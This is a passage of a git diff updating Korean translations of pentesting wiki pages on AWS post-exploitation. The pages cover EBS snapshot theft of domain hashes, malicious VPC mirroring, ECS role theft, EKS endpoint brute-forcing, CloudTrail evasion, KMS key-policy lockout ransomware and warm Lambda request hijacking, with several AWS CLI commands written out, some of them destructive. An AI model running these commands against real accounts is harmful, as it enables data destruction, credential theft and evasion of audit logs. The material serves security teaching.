비어 있다는 의미입니다. -6단계: `sudo mkfs -t ext4 /dev/xvdf` 명령을 사용하여 볼륨을 ext4 파일 시스템으로 포맷합니다. 또는 `sudo mkfs -t xfs /dev/xvdf` 명령을 사용하여 xfs 형식을 사용할 수도 있습니다. ext4 또는 xfs 중 하나를 사용해야 합니다. +6단계: `sudo mkfs -t ext4 /dev/xvdf` 명령을 사용하여 볼륨을 ext4 파일 시스템으로 포맷합니다. 또는 `sudo mkfs -t xfs /dev/xvdf` 명령을 사용하여 xfs 형식으로 포맷할 수도 있습니다. ext4 또는 xfs 중 하나를 사용해야 합니다. 7단계: 새 ext4 볼륨을 마운트할 디렉토리를 생성합니다. 예를 들어 "newvolume"이라는 이름을 사용할 수 있습니다. @@ -122,7 +122,7 @@ ls /mnt ``` ## Shadow Copy -**`EC2:CreateSnapshot`** 권한을 가진 AWS 사용자는 **도메인 컨트롤러의 스냅샷을 생성**하여 이를 자신이 제어하는 인스턴스에 마운트하고 **NTDS.dit 및 SYSTEM** 레지스트리 하이브 파일을 Impacket의 secretsdump 프로젝트에 사용할 수 있도록 내보내어 모든 도메인 사용자 해시를 훔칠 수 있습니다. +AWS 사용자 중 **`EC2:CreateSnapshot`** 권한을 가진 사용자는 **도메인 컨트롤러의 스냅샷을 생성**하여 자신이 제어하는 인스턴스에 마운트하고 **NTDS.dit 및 SYSTEM** 레지스트리 하이브 파일을 내보내어 모든 도메인 사용자 해시를 훔칠 수 있습니다. 이 도구를 사용하여 공격을 자동화할 수 있습니다: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) 또는 스냅샷을 생성한 후 이전 기술 중 하나를 사용할 수 있습니다. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md index a9d6e6856..ed1694aa6 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md @@ -1,15 +1,15 @@ -# AWS - Malicious VPC Mirror +# AWS - 악의적인 VPC 미러 {{#include ../../../../banners/hacktricks-training.md}} -**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!** +**자세한 공격 내용은** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **를 확인하세요!** -클라우드 환경에서의 수동 네트워크 검사는 **어려운** 작업으로, 네트워크 트래픽을 모니터링하기 위해 주요 구성 변경이 필요합니다. 그러나 AWS는 이 과정을 간소화하기 위해 “**VPC 트래픽 미러링**”이라는 새로운 기능을 도입했습니다. VPC 트래픽 미러링을 사용하면 VPC 내의 네트워크 트래픽을 **복제**할 수 있으며, 인스턴스 자체에 소프트웨어를 설치할 필요가 없습니다. 이 복제된 트래픽은 **분석**을 위해 네트워크 침입 탐지 시스템(IDS)으로 전송될 수 있습니다. +클라우드 환경에서의 수동 네트워크 검사는 **어려운** 작업으로, 네트워크 트래픽을 모니터링하기 위해 주요 구성 변경이 필요합니다. 그러나 AWS에서 이 과정을 간소화하기 위해 “**VPC 트래픽 미러링**”이라는 새로운 기능을 도입했습니다. VPC 트래픽 미러링을 사용하면 VPC 내의 네트워크 트래픽을 인스턴스에 소프트웨어를 설치하지 않고도 **복제**할 수 있습니다. 이 복제된 트래픽은 **분석**을 위해 네트워크 침입 탐지 시스템(IDS)으로 전송될 수 있습니다. VPC 트래픽을 미러링하고 유출하기 위한 필요한 인프라의 **자동 배포** 필요성을 해결하기 위해 “**malmirror**”라는 개념 증명 스크립트를 개발했습니다. 이 스크립트는 **손상된 AWS 자격 증명**을 사용하여 대상 VPC의 모든 지원되는 EC2 인스턴스에 대한 미러링을 설정하는 데 사용할 수 있습니다. VPC 트래픽 미러링은 AWS Nitro 시스템으로 구동되는 EC2 인스턴스에서만 지원되며, VPC 미러 타겟은 미러링된 호스트와 동일한 VPC 내에 있어야 한다는 점에 유의해야 합니다. 악의적인 VPC 트래픽 미러링의 **영향**은 상당할 수 있으며, 이는 공격자가 VPC 내에서 전송되는 **민감한 정보**에 접근할 수 있게 합니다. **명확한 텍스트 트래픽**이 VPC를 통해 흐르고 있는 점을 고려할 때, 이러한 악의적인 미러링의 **가능성**은 높습니다. 많은 기업들이 **성능 이유**로 내부 네트워크에서 명확한 텍스트 프로토콜을 사용하며, 전통적인 중간자 공격이 불가능하다고 가정합니다. -자세한 정보와 [**malmirror 스크립트**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror)에 대한 접근은 우리의 **GitHub 저장소**에서 찾을 수 있습니다. 이 스크립트는 프로세스를 자동화하고 간소화하여 공격 연구 목적으로 **빠르고, 간단하며, 반복 가능**하게 만듭니다. +자세한 정보와 [**malmirror 스크립트**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror)에 대한 접근은 우리의 **GitHub 저장소**에서 확인할 수 있습니다. 이 스크립트는 프로세스를 자동화하고 간소화하여 공격 연구 목적으로 **빠르고, 간단하며, 반복 가능**하게 만듭니다. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md index dbb6a215c..09dfa17ab 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - ECR Post Exploitation +# AWS - ECR 포스트 익스플로이테이션 {{#include ../../../banners/hacktricks-training.md}} @@ -54,7 +54,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` -이 권한 중 하나라도 가진 공격자는 **저장소의 모든 이미지를 삭제하는 라이프사이클 정책을 생성하거나 수정할 수 있으며**, 그 후 **전체 ECR 저장소를 삭제할 수 있습니다**. 이로 인해 저장소에 저장된 모든 컨테이너 이미지가 손실됩니다. +이러한 권한을 가진 공격자는 **모든 이미지를 삭제하기 위해 라이프사이클 정책을 생성하거나 수정할 수 있으며** 그 후 **전체 ECR 리포지토리를 삭제할 수 있습니다**. 이로 인해 리포지토리에 저장된 모든 컨테이너 이미지가 손실됩니다. ```bash bashCopy code# Create a JSON file with the malicious lifecycle policy echo '{ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md index b0e9efff7..c977597fe 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md @@ -12,7 +12,7 @@ ### Host IAM Roles -ECS에서 **IAM 역할은 컨테이너 내에서 실행되는 작업에 할당될 수 있습니다**. **만약** 작업이 **EC2** 인스턴스 내에서 실행된다면, **EC2 인스턴스**에는 **다른 IAM** 역할이 연결되어 있습니다.\ +ECS에서는 **IAM 역할이 컨테이너 내에서 실행되는 작업에 할당될 수 있습니다**. **만약** 작업이 **EC2** 인스턴스 내에서 실행된다면, **EC2 인스턴스**에는 **다른 IAM** 역할이 연결됩니다.\ 즉, ECS 인스턴스를 **타격**하는 데 성공하면 **ECR 및 EC2 인스턴스와 연결된 IAM 역할을 얻을 수 있습니다**. 이러한 자격 증명을 얻는 방법에 대한 자세한 정보는 다음을 확인하세요: {{#ref}} @@ -24,11 +24,11 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### Privesc to node to steal other containers creds & secrets -게다가, EC2는 EC 작업을 실행하기 위해 도커를 사용하므로, 노드로 탈출하거나 **도커 소켓에 접근**할 수 있다면, **어떤 다른 컨테이너**가 실행되고 있는지 **확인**할 수 있으며, 심지어 **그 안으로 들어가서** **그들의 IAM 역할을 훔칠 수 있습니다**. +게다가, EC2는 EC 작업을 실행하기 위해 도커를 사용하므로, 노드로 탈출하거나 **도커 소켓에 접근**할 수 있다면, **다른 컨테이너**가 실행되고 있는지 **확인**할 수 있으며, 심지어 **그 안으로 들어가서** **그들의 IAM 역할을 훔칠 수 있습니다**. #### Making containers run in current host -또한, **EC2 인스턴스 역할**은 일반적으로 클러스터 내에서 노드로 사용되는 EC2 인스턴스의 **컨테이너 인스턴스 상태를 업데이트할 수 있는 충분한 권한**을 가집니다. 공격자는 **인스턴스의 상태를 DRAINING으로 수정**할 수 있으며, 그러면 ECS는 **모든 작업을 제거하고** **REPLICA**로 실행 중인 작업은 **다른 인스턴스에서 실행**되며, 잠재적으로 **공격자의 인스턴스** 내에서 실행되어 **그들의 IAM 역할을 훔치고** 컨테이너 내부의 잠재적인 민감한 정보를 얻을 수 있습니다. +또한, **EC2 인스턴스 역할**은 일반적으로 클러스터 내에서 노드로 사용되는 EC2 인스턴스의 **컨테이너 인스턴스 상태를 업데이트할 수 있는 충분한 권한**을 가집니다. 공격자는 **인스턴스의 상태를 DRAINING으로 수정**할 수 있으며, 그러면 ECS는 **모든 작업을 제거하고** **REPLICA**로 실행 중인 작업은 **다른 인스턴스에서 실행**되며, 이는 **공격자의 인스턴스** 내에서 발생할 수 있어 **그들의 IAM 역할을 훔치고** 컨테이너 내부의 잠재적인 민감한 정보를 얻을 수 있습니다. ```bash aws ecs update-container-instances-state \ --cluster --status DRAINING --container-instances diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md index cd29a9064..e144a5a32 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md @@ -4,7 +4,7 @@ ## EKS -자세한 정보는 확인하세요 +자세한 내용은 확인하세요 {{#ref}} ../aws-services/aws-eks-enum.md @@ -23,9 +23,9 @@ aws eks update-kubeconfig --name aws-eks-dev ``` - 그렇게 쉬운 방법은 아닙니다: -**`aws eks get-token --name `** 명령어로 **토큰을 얻을 수** 있지만 클러스터 정보(describeCluster)를 가져올 권한이 없다면, **자신의 `~/.kube/config`를 준비할 수** 있습니다. 그러나 토큰이 있더라도 **연결할 url 엔드포인트**가 필요합니다(만약 pod에서 JWT 토큰을 얻었다면 [여기](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)를 읽어보세요) 그리고 **클러스터 이름**도 필요합니다. +**`aws eks get-token --name `** 명령어로 **토큰을 얻을 수** 있지만 클러스터 정보(describeCluster)를 가져올 권한이 없다면, **자신의 `~/.kube/config`를 준비할 수** 있습니다. 그러나 토큰이 있더라도 **연결할 url 엔드포인트**가 필요합니다(만약 pod에서 JWT 토큰을 얻었다면 [여기](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)를 읽어보세요)와 **클러스터 이름**이 필요합니다. -제 경우에는 CloudWatch 로그에서 정보를 찾지 못했지만, **LaunchTemplates userData**와 **EC2 머신의 userData에서도** 정보를 찾았습니다. 다음 예제에서처럼 **userData**에서 이 정보를 쉽게 볼 수 있습니다(클러스터 이름은 cluster-name이었습니다): +제 경우에는 CloudWatch 로그에서 정보를 찾지 못했지만, **LaunchTemplates userData**와 **EC2 머신의 userData에서도** 정보를 찾았습니다. 다음 예제에서 쉽게 이 정보를 볼 수 있습니다(클러스터 이름은 cluster-name이었습니다): ```bash API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com @@ -79,28 +79,26 @@ provideClusterInfo: false > [!WARNING] > 따라서, config map **`aws-auth`**에 **쓰기 권한**이 있는 사람은 **전체 클러스터를 손상시킬 수 있습니다**. -**같은 계정 또는 다른 계정에서 IAM 역할 및 사용자에게 추가 권한을 부여하는 방법**과 이를 **악용하는 방법**에 대한 자세한 내용은 [**privesc 이 페이지를 확인하세요**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). +**같은 계정 또는 다른 계정에서 IAM 역할 및 사용자에게 추가 권한을 부여하는 방법**과 이를 **악용하는 방법**에 대한 자세한 정보는 [**privesc 이 페이지를 확인하세요**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). 또한 [**이 멋진**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **게시물을 확인하여 IAM -> Kubernetes 인증이 어떻게 작동하는지 알아보세요**. ### Kubernetes에서 AWS로 -**Kubernetes 서비스 계정**에 대한 **OpenID 인증**을 허용하여 AWS에서 역할을 맡을 수 있도록 할 수 있습니다. [**이 페이지에서 이 작업이 어떻게 이루어지는지 알아보세요**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). +**Kubernetes 서비스 계정**에 대한 **OpenID 인증**을 허용하여 AWS에서 역할을 맡을 수 있도록 하는 것이 가능합니다. [**이 페이지에서 이 작업이 어떻게 이루어지는지 알아보세요**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). -### JWT 토큰에서 API 서버 엔드포인트 가져오기 +### JWT 토큰에서 Api 서버 엔드포인트 가져오기 JWT 토큰을 디코딩하면 클러스터 ID와 지역을 얻을 수 있습니다. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS URL의 표준 형식이 다음과 같다는 것을 알고 있습니다. ```bash https://...eks.amazonaws.com ``` -```markdown -'두 문자'와 '숫자'에 대한 기준을 설명하는 문서를 찾지 못했습니다. 하지만 제 개인적으로 몇 가지 테스트를 해본 결과 다음과 같은 조합이 반복되는 것을 보았습니다: +해당 '두 문자'와 '숫자'에 대한 기준을 설명하는 문서를 찾지 못했습니다. 하지만 제 차원에서 몇 가지 테스트를 해본 결과 다음과 같은 조합이 반복적으로 나타났습니다: - gr7 - yl4 -어쨌든 3자에 불과하므로 우리는 이를 무차별 대입할 수 있습니다. 아래 스크립트를 사용하여 목록을 생성하세요. -``` +어쨌든 단지 3자이므로 이를 브루트포스할 수 있습니다. 아래 스크립트를 사용하여 목록을 생성하세요. ```python from itertools import product from string import ascii_lowercase @@ -125,9 +123,9 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws ### CloudTrail 우회 -공격자가 **EKS에 대한 권한**을 가진 AWS의 자격 증명을 얻으면, 공격자가 이전에 설명한 대로 **`update-kubeconfig`**를 호출하지 않고 자신의 **`kubeconfig`**를 구성하면, **`get-token`**은 AWS API와 상호작용하지 않기 때문에 CloudTrail에 로그를 생성하지 않습니다(단지 로컬에서 토큰을 생성할 뿐입니다). +공격자가 **EKS에 대한 권한이 있는 AWS의 자격 증명**을 얻으면, 공격자가 이전에 설명한 대로 **`update-kubeconfig`**를 호출하지 않고 자신의 **`kubeconfig`**를 구성하면, **`get-token`**은 AWS API와 상호작용하지 않기 때문에 CloudTrail에 로그를 생성하지 않습니다(로컬에서 토큰을 생성할 뿐입니다). -따라서 공격자가 EKS 클러스터와 대화할 때, **cloudtrail은 사용자가 도난당하고 접근하는 것과 관련된 어떤 것도 기록하지 않을 것입니다**. +따라서 공격자가 EKS 클러스터와 대화할 때, **cloudtrail은 도난당한 사용자와 관련된 어떤 것도 기록하지 않을 것입니다**. **EKS 클러스터는 이 접근을 기록할 수 있는 로그가 활성화되어 있을 수 있습니다**(기본적으로는 비활성화되어 있습니다). @@ -135,10 +133,10 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws 기본적으로 **클러스터를 생성한 사용자 또는 역할**은 **항상 클러스터에 대한 관리자 권한을 가집니다**. 그리고 AWS가 Kubernetes 클러스터에 대해 가질 수 있는 유일한 "안전한" 접근입니다. -따라서, **공격자가 fargate를 사용하여 클러스터를 손상시키고** **다른 모든 관리자를 제거하며** **클러스터를 생성한 AWS 사용자/역할을 삭제**하면, ~~공격자는 **클러스터를 랜섬**~~**할 수 있습니다**. +따라서, **공격자가 fargate를 사용하여 클러스터를 손상시키고** **다른 모든 관리자를 제거하며** **클러스터를 생성한 AWS 사용자/역할을 삭제**하면, ~~공격자는 **클러스터를 랜섬할 수 있습니다**~~**. > [!TIP] -> 클러스터가 **EC2 VM**을 사용하고 있었다면, **노드**에서 관리자 권한을 얻고 클러스터를 복구할 수 있었을 것입니다. +> 클러스터가 **EC2 VM**을 사용하고 있다면, **노드**에서 관리자 권한을 얻고 클러스터를 복구할 수 있을 가능성이 있습니다. > > 실제로 클러스터가 Fargate를 사용하고 있다면 EC2 노드를 사용하거나 모든 것을 EC2로 이동하여 클러스터를 복구하고 노드의 토큰에 접근할 수 있습니다. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md index c97bc3841..c0f53b612 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md @@ -24,7 +24,7 @@ aws elasticbeanstalk delete-application-version --application-name my-app --vers ### `elasticbeanstalk:TerminateEnvironment` > [!NOTE] -> TODO: 더 많은 권한이 필요한지 테스트하기 +> TODO: 이 작업에 더 많은 권한이 필요한지 테스트 `elasticbeanstalk:TerminateEnvironment` 권한을 가진 공격자는 **기존 Elastic Beanstalk 환경을 종료**할 수 있으며, 이로 인해 애플리케이션의 다운타임이 발생하고 환경이 백업을 위해 구성되지 않은 경우 데이터 손실이 발생할 수 있습니다. ```bash @@ -46,7 +46,7 @@ aws elasticbeanstalk delete-application --application-name my-app --terminate-en ### `elasticbeanstalk:SwapEnvironmentCNAMEs` > [!NOTE] -> TODO: 이 작업에 더 많은 권한이 필요한지 테스트하기 +> TODO: 이 작업에 더 많은 권한이 필요한지 테스트하십시오. `elasticbeanstalk:SwapEnvironmentCNAMEs` 권한을 가진 공격자는 **두 개의 Elastic Beanstalk 환경의 CNAME 레코드를 교환**할 수 있으며, 이로 인해 잘못된 버전의 애플리케이션이 사용자에게 제공되거나 의도하지 않은 동작이 발생할 수 있습니다. ```bash @@ -59,7 +59,7 @@ aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 > [!NOTE] > TODO: 이 작업에 더 많은 권한이 필요한지 테스트하기 -`elasticbeanstalk:AddTags` 및 `elasticbeanstalk:RemoveTags` 권한을 가진 공격자는 **Elastic Beanstalk 리소스에 태그를 추가하거나 제거할 수 있습니다**. 이 작업은 잘못된 리소스 할당, 청구 또는 리소스 관리로 이어질 수 있습니다. +`elasticbeanstalk:AddTags` 및 `elasticbeanstalk:RemoveTags` 권한을 가진 공격자는 **Elastic Beanstalk 리소스에 태그를 추가하거나 제거**할 수 있습니다. 이 작업은 잘못된 리소스 할당, 청구 또는 리소스 관리로 이어질 수 있습니다. ```bash aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index 616fb6172..bb57a7b45 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -12,15 +12,15 @@ IAM 접근에 대한 자세한 정보: ## 혼란스러운 대리인 문제 -만약 **외부 계정(A)**이 귀하의 계정에서 **역할**에 접근할 수 있도록 허용하면, **그 외부 계정에 정확히 접근할 수 있는 사람에 대한 가시성은 0**이 될 것입니다. 이는 문제입니다. 왜냐하면 다른 외부 계정(B)이 외부 계정(A)에 접근할 수 있다면, **B가 귀하의 계정에도 접근할 수 있을 가능성이 있기 때문입니다**. +만약 **외부 계정(A)**이 귀하의 계정의 **역할**에 접근할 수 있도록 허용하면, **누가 정확히 그 외부 계정에 접근할 수 있는지에 대한 가시성**이 **0**이 될 것입니다. 이는 문제입니다. 왜냐하면 다른 외부 계정(B)이 외부 계정(A)에 접근할 수 있다면, **B가 귀하의 계정에 접근할 수 있는 가능성도 있기 때문입니다**. -따라서 외부 계정이 귀하의 계정에서 역할에 접근할 수 있도록 허용할 때 `ExternalId`를 지정할 수 있습니다. 이는 외부 계정(A)이 **귀하의 조직에서 역할을 맡기 위해 반드시 지정해야 하는** "비밀" 문자열입니다. **외부 계정 B는 이 문자열을 알지 못하기 때문에**, A에 접근할 수 있더라도 **귀하의 역할에 접근할 수 없습니다**. +따라서 외부 계정이 귀하의 계정의 역할에 접근할 수 있도록 허용할 때 `ExternalId`를 지정할 수 있습니다. 이는 외부 계정(A)이 **귀하의 조직에서 역할을 맡기 위해 반드시 지정해야 하는** "비밀" 문자열입니다. **외부 계정 B는 이 문자열을 알지 못하기 때문에**, A에 대한 접근 권한이 있더라도 **귀하의 역할에 접근할 수 없습니다**.
-그러나 이 `ExternalId` "비밀"은 **비밀이 아닙니다**. IAM 역할 맡기 정책을 **읽을 수 있는 사람은 누구나 이를 볼 수 있습니다**. 하지만 외부 계정 A가 이를 알고 있고, 외부 계정 **B는 이를 모른다면**, 이는 **B가 A를 악용하여 귀하의 역할에 접근하는 것을 방지합니다**. +그러나 이 `ExternalId` "비밀"은 **비밀이 아닙니다**. IAM 역할 맡기 정책을 **읽을 수 있는 누구나 이를 볼 수 있습니다**. 하지만 외부 계정 A가 이를 알고 있고, 외부 계정 **B는 이를 모른다면**, 이는 **B가 A를 악용하여 귀하의 역할에 접근하는 것을 방지합니다**. -예시: +예: ```json { "Version": "2012-10-17", @@ -39,11 +39,11 @@ IAM 접근에 대한 자세한 정보: } ``` > [!WARNING] -> 공격자가 혼란스러운 대리인을 이용하려면 현재 계정의 주체가 다른 계정의 역할을 가장할 수 있는지 확인해야 합니다. +> 공격자가 혼란스러운 대리인을 악용하려면 현재 계정의 주체가 다른 계정의 역할을 가장할 수 있는지 확인해야 합니다. ### 예상치 못한 신뢰 -#### 주체로서의 와일드카드 +#### 와일드카드 주체 ```json { "Action": "sts:AssumeRole", @@ -53,7 +53,7 @@ IAM 접근에 대한 자세한 정보: ``` 이 정책은 **모든 AWS**가 역할을 맡을 수 있도록 허용합니다. -#### 서비스 주체로서 +#### 주체로서의 서비스 ```json { "Action": "lambda:InvokeFunction", @@ -62,9 +62,9 @@ IAM 접근에 대한 자세한 정보: "Resource": "arn:aws:lambda:000000000000:function:foo" } ``` -이 정책은 **모든 계정**이 이 Lambda를 호출하도록 apigateway를 구성할 수 있도록 허용합니다. +이 정책은 **모든 계정**이 자신의 apigateway를 구성하여 이 Lambda를 호출할 수 있도록 허용합니다. -#### S3를 주체로 +#### S3를 주체로 사용 ```json "Condition": { "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, @@ -73,7 +73,7 @@ IAM 접근에 대한 자세한 정보: } } ``` -S3 버킷이 주체로 주어지면, S3 버킷에는 계정 ID가 없기 때문에, 만약 **당신의 버킷을 삭제하고 공격자가** 자신의 계정에서 그것을 생성하면, 그들은 이를 악용할 수 있습니다. +S3 버킷이 주체로 제공되는 경우, S3 버킷에는 계정 ID가 없기 때문에, 만약 **당신의 버킷을 삭제하고 공격자가 자신의 계정에서** 그것을 생성하면, 그들은 이를 악용할 수 있습니다. #### 지원되지 않음 ```json diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index 1ae7e567c..ec1026a06 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -10,7 +10,7 @@ ../aws-services/aws-kms-enum.md {{#endref}} -### 정보 암호화/복호화 +### Encrypt/Decrypt information `fileb://` 및 `file://`는 AWS CLI 명령에서 로컬 파일의 경로를 지정하는 데 사용되는 URI 스킴입니다: @@ -62,12 +62,12 @@ aws kms decrypt \ KMS에 대한 권한이 있는 공격자는 키의 KMS 정책을 수정하고 **자신의 계정에 대한 액세스를 부여**하여 정당한 계정에 부여된 액세스를 제거할 수 있습니다. -그런 다음, 정당한 계정 사용자는 이러한 키로 암호화된 서비스의 정보에 접근할 수 없게 되어 계정에 대한 쉽지만 효과적인 랜섬웨어를 생성하게 됩니다. +그런 다음, 정당한 계정 사용자는 해당 키로 암호화된 서비스의 정보에 접근할 수 없게 되어 계정에 대한 쉽지만 효과적인 랜섬웨어가 생성됩니다. > [!WARNING] > **AWS 관리 키는** 이 공격의 영향을 받지 않으며, **고객 관리 키만** 영향을 받습니다. -> 또한 **`--bypass-policy-lockout-safety-check`** 매개변수를 사용해야 한다는 점에 유의하십시오(웹 콘솔에서 이 옵션이 없으면 이 공격은 CLI에서만 가능하게 됩니다). +> 또한 **`--bypass-policy-lockout-safety-check`** 매개변수를 사용해야 한다는 점에 유의하십시오(웹 콘솔에서 이 옵션이 없으면 이 공격은 CLI에서만 가능합니다). ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ @@ -92,7 +92,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ } ``` > [!CAUTION] -> 정책을 변경하고 외부 계정에만 액세스를 부여한 후, 이 외부 계정에서 **원래 계정에 대한 액세스를 다시 부여하는 새로운 정책을 설정하려고 하면, 할 수 없습니다**. +> 정책을 변경하고 외부 계정에만 액세스를 부여하면, 이 외부 계정에서 **원래 계정으로 액세스를 다시 부여하는 새로운 정책을 설정하려고 해도 할 수 없습니다**.
@@ -102,9 +102,9 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ 글로벌 KMS 랜섬웨어를 수행하는 또 다른 방법이 있으며, 다음 단계를 포함합니다: -- 공격자가 가져온 **키 자료로 새 키를 생성합니다** -- **이전 버전으로 암호화된 오래된 데이터를** 새 키로 **재암호화합니다**. -- **KMS 키를 삭제합니다** +- 공격자가 가져온 **키 자료로 새 키를 생성** +- 이전 버전으로 암호화된 **구 데이터를 새 키로 재암호화** +- **KMS 키 삭제** - 이제 원래 키 자료를 가진 공격자만 암호화된 데이터를 복호화할 수 있습니다. ### 키 파괴 diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index 9940c5156..aeeff4285 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -14,19 +14,19 @@ 3. **bootstrap.py**는 init 프로세스에서 호출을 가져오는 루프를 가지고 있으며, 이를 처리하기 위해 사용자 코드를 호출합니다 (**`/next`**). 4. 마지막으로, **bootstrap.py**는 init에 **응답**을 전송합니다. -bootstrap은 사용자 코드를 모듈로 로드하므로, 사용자 코드에 의해 수행된 모든 코드 실행은 실제로 이 프로세스에서 발생합니다. +bootstrap은 사용자 코드를 모듈로 로드하므로, 사용자 코드에 의해 수행되는 모든 코드 실행은 실제로 이 프로세스에서 발생합니다. ## Lambda 요청 훔치기 -이 공격의 목표는 사용자의 코드가 취약한 요청을 처리하는 **`bootstrap.py`** 프로세스 내에서 악성 **`bootstrap.py`** 프로세스를 실행하도록 만드는 것입니다. 이렇게 하면 **악성 bootstrap** 프로세스가 요청을 처리하기 위해 **init 프로세스와 대화**를 시작하고, **정상** bootstrap은 악성 프로세스를 실행 중에 **갇히게** 되어 init 프로세스에 요청을 요청하지 않게 됩니다. +이 공격의 목표는 사용자의 코드가 취약한 요청을 처리하는 **`bootstrap.py`** 프로세스 내에서 악성 **`bootstrap.py`** 프로세스를 실행하도록 만드는 것입니다. 이렇게 하면 **악성 bootstrap** 프로세스가 요청을 처리하기 위해 **init 프로세스와 통신**을 시작하고, **정상** bootstrap은 악성 프로세스를 실행 중에 **갇히게** 되어 init 프로세스에 요청을 요청하지 않게 됩니다. -사용자의 코드가 정상 **`bootstrap.py`** 프로세스에 의해 실행되고 있기 때문에, 이는 간단한 작업입니다. 따라서 공격자는 다음을 수행할 수 있습니다: +이것은 사용자의 코드가 정상 **`bootstrap.py`** 프로세스에 의해 실행되고 있기 때문에 간단한 작업입니다. 따라서 공격자는 다음을 수행할 수 있습니다: - **현재 호출의 가짜 결과를 init 프로세스에 전송**하여 init이 bootstrap 프로세스가 더 많은 호출을 기다리고 있다고 생각하게 만듭니다. - **`/${invoke-id}/response`**에 요청을 전송해야 합니다. -- invoke-id는 정상 